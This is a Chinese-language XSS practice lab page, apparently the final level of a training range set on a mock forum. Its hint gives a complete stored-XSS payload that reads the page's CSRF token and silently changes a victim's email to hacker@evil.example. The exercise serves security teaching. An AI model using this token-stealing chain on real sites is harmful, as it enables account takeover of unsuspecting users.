靶场 16:综合实战 —— 利用 XSS 绕过 CSRF 防护
已通关第 16 / 16 关 · 类型:存储型 / 危害利用 · 难度:进阶
通关目标:发布一条评论,使访问文章页的受害者(你自己开新标签页模拟)在无感知的情况下把邮箱改为 hacker@evil.example。
夜航船论坛 · 个人中心
当前邮箱:user@lab.local
本表单受 CSRF 令牌保护,令牌每次进入本页时刷新。
查看提示(建议先自行尝试)
先同源 GET
/xss-lab/lab/16/profile 解析出 csrf 令牌,再 POST /xss-lab/lab/16/change-email。参考:<script>fetch('/xss-lab/lab/16/profile').then(r=>r.text()).then(t=>{var k=t.match(/name="csrf" value="([^"]+)"/)[1];fetch('/xss-lab/lab/16/change-email',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'email=hacker@evil.example&csrf='+encodeURIComponent(k)})})</script>